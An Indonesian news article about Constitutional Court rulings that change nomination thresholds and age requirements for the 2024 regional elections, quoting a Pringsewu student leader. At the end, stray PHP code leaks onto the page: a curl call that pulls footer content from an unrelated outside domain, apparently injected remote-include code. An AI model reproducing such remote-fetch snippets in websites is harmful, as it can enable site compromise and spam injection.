MK Dorong Reformasi Pilkada 2024, Ubah Ambang Batas Pencalonan dan Persyaratan Usia

Rabu, 21 Agustus 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Pringsewu, Jejakkasus.info

Ketua aliansi BEM pringsewu (ABP)ferdi arditya meng apresiasi keputusan
Mahkamah Konstitusi (MK) melalui putusan nomor 60/PUU-XXII/2024 telah mengubah besaran ambang batas pencalonan oleh partai politik (parpol) atau gabungan parpol dalam Pemilihan Kepala Daerah (Pilkada) 2024. Perubahan ini diharapkan dapat menjadi solusi atas kebuntuan penyelenggaraan pilkada yang selama ini dinilai semakin menjauh dari semangat demokrasi yang sesungguhnya. Rabu 21-8-2024

Banyak pihak menilai bahwa kualitas demokrasi di Indonesia semakin menunjukkan kemerosotan dan lebih pragmatis. “Hal ini terlihat dari munculnya calon kepala daerah yang berasal dari hasil nepotisme di beberapa daerah. Praktik nepotisme ini sangat mengkhawatirkan karena bisa semakin menyebar dan mengakibatkan degradasi demokrasi di Indonesia,” ujarnya .

Baca Juga:  Jelang Pemilu 2O24, Pj.Bupati Pringsewu Ajak Masyarakat Kedepankan Persatuan

Dengan adanya putusan MK ini, diharapkan sistem demokrasi di Indonesia dapat diperbaiki, sehingga mampu mendorong kompetisi yang lebih sehat dan representatif dalam pemilihan kepala daerah. “Perubahan ini diharapkan dapat lebih mendorong demokrasi yang semestinya,” ujar ferdi .

Tidak hanya itu, Mahkamah Konstitusi juga mengeluarkan putusan nomor 70/PUU-XXII/2024 yang mengatur tentang persyaratan usia minimum yang harus dipenuhi oleh calon kepala daerah dan calon wakil kepala daerah saat mendaftarkan diri sebagai calon. Putusan ini dinilai sebagai langkah penting untuk menciptakan standarisasi yang ideal dalam pemilihan kepala daerah.

Baca Juga:  Pantau Bahan Pokok bersama Forkopimda, Kapolres Inhil: Masih Cukup dan Stabil

“Ke depan, kita harus menyambut kepemimpinan yang matang dan terhormat, bukan yang dipaksa matang oleh kepentingan kekuasaan,” tegas seorang anggota DPR. Menurutnya, langkah-langkah perbaikan yang dilakukan oleh MK ini sangat penting untuk menjaga marwah demokrasi Indonesia.

Para pengamat dan politisi berharap bahwa putusan-putusan MK tersebut dapat mendorong perbaikan dalam penyelenggaraan Pilkada 2024, sehingga tercipta proses pemilihan yang lebih transparan, adil, dan demokratis. “Ini adalah langkah-langkah yang sangat diperlukan untuk memperbaiki kualitas demokrasi kita yang semakin terdegradasi,” ujar ferdi.

Baca Juga:  Pemkab Pringsewu Adakan Gerakan Serentak Menanam Cabai

Secara keseluruhan, putusan MK ini dianggap sebagai angin segar bagi demokrasi Indonesia. “Pilkada 2024 akan menjadi ujian bagi kualitas demokrasi kita. Dengan adanya perubahan ini, diharapkan proses demokrasi kita dapat kembali ke jalur yang benar,” tutupnya.

Bambang

Penulis : Bambang hartono

Editor : Bambang hartono

Sumber Berita : Jejakkasus.info

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Binda Ayu Asalasiyah, S.Ked Dapatkan Penghargaan Satya Lencana Aditya Karya Mahat Va Yodha Utama dari Karang Taruna Way Kanan
Aries Sandi Janji Perbaiki Pendidikan dan Infrastruktur di Pesawaran
Aries Sandi-Supriyanto Genjot Pembentukan Tim Pemenangan di Pesawaran
Jelang Penetapan KPU, Balon Wabup Ayu Asalasiyah Kukuhkan Tim Amanah Emak-emak di 5 Kecamatan
Pesawaran Ganti Rezim: Seruan Perubahan Sambut Pilkada 2024
Buntut Aniaya Adik Tingkat, Empat Siswa SMA Kebangsaan di Kembalikan Hak Asuh ke Pihak Keluarga
Dukungan Terus Mengalir untuk Kemenangan Aries Sandi-Supriyanto
Hak Jawab Sulardi Atas Tuduhan Pemalsuan Surat Tanah Tak Berdasar,

Berita Terkait

Jumat, 20 September 2024 - 10:17 WIB

Binda Ayu Asalasiyah, S.Ked Dapatkan Penghargaan Satya Lencana Aditya Karya Mahat Va Yodha Utama dari Karang Taruna Way Kanan

Kamis, 19 September 2024 - 20:52 WIB

Aries Sandi Janji Perbaiki Pendidikan dan Infrastruktur di Pesawaran

Kamis, 19 September 2024 - 20:50 WIB

Aries Sandi-Supriyanto Genjot Pembentukan Tim Pemenangan di Pesawaran

Kamis, 19 September 2024 - 20:20 WIB

Jelang Penetapan KPU, Balon Wabup Ayu Asalasiyah Kukuhkan Tim Amanah Emak-emak di 5 Kecamatan

Kamis, 19 September 2024 - 15:26 WIB

Pesawaran Ganti Rezim: Seruan Perubahan Sambut Pilkada 2024

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>